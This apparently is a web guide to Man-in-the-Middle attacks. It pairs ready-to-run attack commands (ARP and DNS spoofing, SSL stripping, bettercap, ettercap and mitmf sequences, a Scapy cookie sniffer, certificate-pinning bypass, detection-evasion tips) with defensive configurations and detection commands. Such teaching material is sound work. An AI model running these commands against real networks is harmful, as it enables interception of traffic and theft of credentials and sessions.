Back to Attack Flows

Man-in-the-Middle (MITM) - Comprehensive Guide

Complete guide to understanding, executing, and preventing Man-in-the-Middle attacks

Table of Contents

What is Man-in-the-Middle (MITM)?

Man-in-the-Middle (MITM) attacks occur when an attacker secretly intercepts and potentially alters communications between two parties who believe they are directly communicating with each other. The attacker positions themselves between the victim and the intended destination, allowing them to:

Why is it Critical?

MITM attacks are particularly dangerous because they are invisible to victims and can compromise even strong authentication:

How MITM Attacks Work

The Attack Position

The attacker must position themselves in the communication path between victim and server:

Normal Communication:
[Client] ←→ [Server]

MITM Attack:
[Client] ←→ [Attacker] ←→ [Server]
           ↓
    [Intercept, Read, Modify]

Common Attack Vectors

1. ARP Spoofing (ARP Poisoning)

The attacker sends fake ARP (Address Resolution Protocol) messages to associate their MAC address with the IP of the gateway:

# Using arpspoof (part of dsniff)
# Tell victim that attacker is the gateway
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

# Tell gateway that attacker is the victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100

# Enable IP forwarding to relay traffic
echo 1 > /proc/sys/net/ipv4/ip_forward

2. Rogue Wi-Fi Access Point

Attacker creates a fake Wi-Fi hotspot with a legitimate-looking name:

# Create rogue AP with hostapd
hostapd /etc/hostapd/hostapd.conf

# Set up DHCP server
dnsmasq -C /etc/dnsmasq.conf

# All traffic now flows through attacker

3. DNS Spoofing/Hijacking

Redirect DNS queries to malicious IP addresses:

# Using dnsspoof to redirect all DNS
dnsspoof -i eth0

# Or modify specific domains via hosts file injection
echo "192.168.1.50 bank.com" >> /etc/hosts

4. SSL/TLS Stripping

Downgrade HTTPS connections to HTTP:

# Using sslstrip
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080

# Victim requests https://bank.com
# Attacker downgrades to http://bank.com for victim
# Maintains https://bank.com to real server
# Victim sees HTTP, thinks it's safe

Advanced Attack Techniques

1. SSL/TLS Interception with Fake Certificates

Present fraudulent certificates to intercept HTTPS traffic:

# Generate fake certificate
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout key.pem

# Use mitmproxy to intercept HTTPS
mitmproxy --mode transparent --showhost

# Or use bettercap
bettercap -iface eth0
> set https.proxy.sslstrip true
> https.proxy on

⚠️ Certificate Warning

Victims will see certificate warnings unless the attacker's CA certificate is installed on their device, or they ignore browser warnings.

2. Session Hijacking

Steal session cookies to impersonate authenticated users:

# Sniff cookies with Scapy
from scapy.all import *

def packet_handler(packet):
    if packet.haslayer(HTTPRequest):
        if packet.haslayer(Raw):
            load = packet[Raw].load.decode(errors='ignore')
            if 'Cookie:' in load:
                print(f"[+] Captured Cookie: {load}")

sniff(iface="eth0", prn=packet_handler, filter="tcp port 80")

3. SSH MITM Attack

Intercept SSH connections:

# Redirect SSH traffic to attacker's SSH server
iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 2222

# Run SSH MITM proxy
ssh-mitm server --remote-host target-server.com

4. BGP Hijacking (Advanced Network-Level)

Announce false BGP routes to redirect Internet traffic:

5. HTTPS Downgrade with HSTS Bypass

Advanced techniques to bypass HTTP Strict Transport Security:

# Using sslstrip+ (sslstrip2)
# Converts HTTPS links to look-alike HTTP domains
# https://www.bank.com → http://wwww.bank.com (note extra 'w')

# Victim may not notice subtle domain difference

6. Mobile App MITM

Intercept mobile application traffic:

# Set up proxy with Burp Suite or Charles Proxy
# Install proxy CA certificate on mobile device
# Configure device to use proxy

# Many apps don't properly validate certificates
# or implement certificate pinning poorly

Defense Bypass Strategies

Bypassing Certificate Pinning

1. SSL Pinning Bypass in Mobile Apps

# Using Frida to disable certificate pinning on Android
frida -U -f com.example.app -l ssl-unpinning.js --no-pause

# Using objection
objection --gadget com.example.app explore
> android sslpinning disable

2. Certificate Installation

Social engineering to install attacker's CA certificate:

Evading Detection

1. Selective Interception

# Only intercept specific domains or content types
# Let encrypted banking traffic pass through
# Reduces detection while still capturing credentials

2. Transparent Proxying

# Make proxy completely transparent
# Don't modify headers, timing, or content unnecessarily
# Harder to detect via network analysis

3. Timing Attacks

Match original server response times:

# Measure original latency
# Add artificial delays to match
# Prevents detection via timing analysis

Bypassing HSTS (HTTP Strict Transport Security)

1. First Visit Attack

HSTS only protects after first successful HTTPS connection:

# Intercept victim's first visit to site
# HSTS not yet enabled in browser
# Strip HTTPS on first connection
# Subsequent connections already compromised

2. NTP Manipulation

# Manipulate victim's system time
# Make HSTS policies appear expired
# Requires additional attack vectors

Prevention & Mitigation

1. Encryption - TLS/SSL Everywhere

✅ THE PRIMARY DEFENSE

# Enforce HTTPS in web server configuration
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

server {
    listen 443 ssl http2;
    server_name example.com;
    
    ssl_certificate /path/to/cert.pem;
    ssl_certificate_key /path/to/key.pem;
    
    # Modern SSL configuration
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers HIGH:!aNULL:!MD5;
    ssl_prefer_server_ciphers on;
}

2. HTTP Strict Transport Security (HSTS)

Force browsers to always use HTTPS:

# Python Flask
from flask import Flask
app = Flask(__name__)

@app.after_request
def set_hsts(response):
    response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains; preload'
    return response

# Nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

✅ HSTS Preload List

Submit your domain to the HSTS preload list - browsers will NEVER attempt HTTP connections, even on first visit.

3. Certificate Pinning

Hard-code expected certificate or public key in application:

# Python with certificate pinning
import ssl
import certifi
import urllib.request

# Pin specific certificate fingerprint
EXPECTED_FINGERPRINT = "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="

def verify_cert(cert, hostname):
    import hashlib
    import base64
    
    der_cert = ssl.DER_cert_to_PEM_cert(cert)
    fingerprint = hashlib.sha256(der_cert.encode()).digest()
    fingerprint_b64 = base64.b64encode(fingerprint).decode()
    
    if f"sha256/{fingerprint_b64}" != EXPECTED_FINGERPRINT:
        raise Exception("Certificate pinning validation failed!")

// Android certificate pinning with OkHttp
CertificatePinner certificatePinner = new CertificatePinner.Builder()
    .add("example.com", "sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=")
    .build();

OkHttpClient client = new OkHttpClient.Builder()
    .certificatePinner(certificatePinner)
    .build();

4. Mutual TLS (mTLS)

Both client and server authenticate with certificates:

# Nginx mTLS configuration
server {
    listen 443 ssl;
    
    ssl_certificate /path/to/server-cert.pem;
    ssl_certificate_key /path/to/server-key.pem;
    
    # Require client certificate
    ssl_client_certificate /path/to/ca-cert.pem;
    ssl_verify_client on;
}

5. VPN and Secure Channels

Use VPN on untrusted networks:

6. Network Security Best Practices

For Users:

For Network Administrators:

7. Application-Level Protections

# Python: Validate SSL certificates
import requests

# ✅ GOOD: Verify SSL certificates
response = requests.get('https://example.com', verify=True)

# ❌ BAD: Disable SSL verification
response = requests.get('https://example.com', verify=False)  # NEVER DO THIS!

// JavaScript: Use secure WebSocket connections
// ✅ GOOD: Use wss:// (WebSocket Secure)
const socket = new WebSocket('wss://example.com/socket');

// ❌ BAD: Use ws:// (unencrypted)
const socket = new WebSocket('ws://example.com/socket');

8. Security Headers

# Comprehensive security headers
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header X-Frame-Options "DENY" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Content-Security-Policy "default-src 'self' https:" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;

Detection & Testing

Manual Detection Techniques

1. Certificate Inspection

# Check certificate details
openssl s_client -connect example.com:443 -showcerts

# Verify certificate fingerprint
openssl s_client -connect example.com:443 | openssl x509 -fingerprint -noout

# Check certificate chain
curl -v https://example.com 2>&1 | grep -A 10 "certificate"

2. ARP Table Monitoring

# Monitor ARP table for changes
arp -a

# Check for duplicate MAC addresses
arp -a | sort -k 4

# Continuous monitoring
watch -n 1 'arp -a'

3. DNS Query Analysis

# Check DNS responses
dig example.com

# Compare with known good DNS
dig @8.8.8.8 example.com
dig @1.1.1.1 example.com

# Check for DNS spoofing
nslookup example.com

4. Network Traffic Analysis

# Capture and analyze traffic with tcpdump
tcpdump -i eth0 -n -vvv

# Look for suspicious patterns
tcpdump -i eth0 'port 80 or port 443'

# Check for SSL/TLS stripping
tcpdump -i eth0 -A 'port 80' | grep -i "cookie\|authorization"

Automated Testing Tools

Ettercap

Comprehensive MITM framework:

# GUI mode
ettercap -G

# Command-line MITM between two hosts
ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//

# Sniff passwords
ettercap -Tq -i eth0

Bettercap

Modern, powerful MITM framework:

# Start bettercap
bettercap -iface eth0

# Inside bettercap console:
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
> set https.proxy.sslstrip true
> https.proxy on

Wireshark

Packet analysis:

MITMf (MITM Framework)

# Basic MITM with credential harvesting
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 -i eth0

# With SSL stripping
mitmf --arp --spoof --gateway 192.168.1.1 --target 192.168.1.100 --hsts -i eth0

# Inject JavaScript
mitmf --arp --spoof --gateway 192.168.1.1 --inject --js-payload "alert('MITM')" -i eth0

Detection for Defenders

1. IDS/IPS Signatures

2. Network Monitoring Tools

# ArpON (ARP handler inspection)
arpon -d -i eth0

# XArp - ARP spoofing detection
xarp

# Arpwatch - monitor ARP changes
arpwatch -i eth0

3. Certificate Transparency Monitoring

Real-World Examples

Notable Incidents

1. Lenovo Superfish (2015)

2. DigiNotar Certificate Authority Breach (2011)

3. Public Wi-Fi Attacks at DEF CON

4. NSA/GCHQ MITM Operations [VERIFY SOURCE]

5. ISP Injection of Advertisements

Common Scenarios

Quick Reference

Common Attack Commands

# ARP Spoofing
arpspoof -i eth0 -t [victim_ip] [gateway_ip]
arpspoof -i eth0 -t [gateway_ip] [victim_ip]

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
sysctl -w net.ipv4.ip_forward=1

# SSL Stripping
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
sslstrip -l 8080

# DNS Spoofing
dnsspoof -i eth0 -f hosts.txt

# Bettercap MITM
bettercap -iface eth0
> net.probe on
> net.sniff on
> arp.spoof on

# mitmproxy
mitmproxy --mode transparent

# Ettercap
ettercap -T -M arp:remote /[gateway]/[victim]/ -i eth0

Detection Commands

# Check ARP table
arp -a
ip neighbor show

# Monitor ARP changes
arpwatch -i eth0

# Check certificate
openssl s_client -connect example.com:443 -showcerts

# Verify DNS
dig example.com
nslookup example.com

# Capture suspicious traffic
tcpdump -i eth0 -w capture.pcap 'port 80 or port 443'
tshark -i eth0 -Y "http or ssl"

# Check for rogue DHCP servers
nmap --script broadcast-dhcp-discover

# Scan for rogue access points
airodump-ng wlan0mon

Prevention Checklist

Testing Checklist

Key Protocols and Ports

Resources